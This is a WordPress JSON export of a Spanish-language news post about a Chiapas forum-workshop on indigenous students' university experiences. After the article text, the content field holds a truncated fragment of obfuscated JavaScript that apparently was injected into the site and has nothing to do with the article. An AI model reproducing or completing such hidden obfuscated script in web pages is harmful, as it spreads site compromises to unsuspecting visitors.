{"id":6730,"date":"2022-11-17T04:32:55","date_gmt":"2022-11-17T04:32:55","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=6730"},"modified":"2022-11-17T04:32:56","modified_gmt":"2022-11-17T04:32:56","slug":"se-realizo-foro-taller-los-jovenes-indigenas-en-la-universidad","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=6730","title":{"rendered":"Se realiz\u00f3 foro-taller \u201cLos j\u00f3venes ind\u00edgenas en la universidad"},"content":{"rendered":"\n
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\u00d3scar G\u00f3mez\/Corresponsal16 de Noviembre del. 2022. San Crist\u00f3bal de Las Casas.- Gunther Dietz, de la Universidad Veracruzana y Jaime Arias G\u00f3mez, de la Universidad Intercultural de Chiapas (UNICH), dieron a conocer que realizaron en esta ciudad el foro-taller \u201cLos j\u00f3venes ind\u00edgenas en la universidad: la experiencia de dos licenciaturas de la Universidad Intercultural de Chiapas\u201d, una actividad colaborativa vinculada al proyecto de investigaci\u00f3n \u201cSendas y trayectorias ind\u00edgenas en la educaci\u00f3n superior mexicana\u201d.En un escrito, se\u00f1alan que las actividades se realizaron en las instalaciones de la Universidad Intercultural de Chiapas (UNICH), patrocinado por el \u201cEconomic and Social Research Council de Reino Unido\u201d, con el objetivo de analizar los efectos que generan las universidades en los pueblos originarios de M\u00e9xico y particularmente en las juventudes ind\u00edgenas.\u201cPor ello incorpora distintos tipos de instituciones de educaci\u00f3n superior que atienden a estudiantes ind\u00edgenas: universidades p\u00fablicas federales y estatales, institutos tecnol\u00f3gicos, universidades interculturales y comunitarias, escuelas normales y universidades agron\u00f3micas, distribuidas en Ciudad de M\u00e9xico, Estado de M\u00e9xico, Puebla, Veracruz, Oaxaca y Chiapas\u201d, citan.Detallan que este proyecto, inici\u00f3 en 2020 y que concluye en 2023, coordinado por Michael Donnelly (University of Bath), Judith P\u00e9rez-Castro (UNAM) y Gunther Dietz (Universidad Veracruzana), y como parte de la segunda fase del trabajo de este proyecto, se reunieron el d\u00eda 7 de noviembre del presente a\u00f1o en la UNICH estudiantes y egresados\/as de las licenciaturas de Lengua y Cultura y de Desarrollo Sustentable para compartir sus experiencias de vida estudiantiles universitarias.En dicho encuentro, dejan ver que intercambiaron experiencias en su proceso de acceso a la educaci\u00f3n superior, sus vivencias como estudiantes universitarias\/os con sus pares, sus docentes y sus familias, haciendo \u00e9nfasis en los problemas econ\u00f3micos que enfrentan para mantenerse y graduarse exitosamente, pero destacando igualmente los importantes aprendizajes no solamente acad\u00e9micos, sino personales.\u201cEste di\u00e1logo procurado con estudiantes y egresados\/as es una de las m\u00faltiples tareas del proyecto \u201cSendas y trayectorias ind\u00edgenas en la educaci\u00f3n superior\u201d, que en una tercera fase \u2013 y a ra\u00edz de los resultados obtenidos en talleres con estudiantes, egresadas\/os y docentes \u2013 se propone repercutir en las acciones que realizan las universidades participantes y en las pol\u00edticas de educaci\u00f3n superior destinadas a las comunidades ind\u00edgenas del pa\u00eds\u201d, concluyeron.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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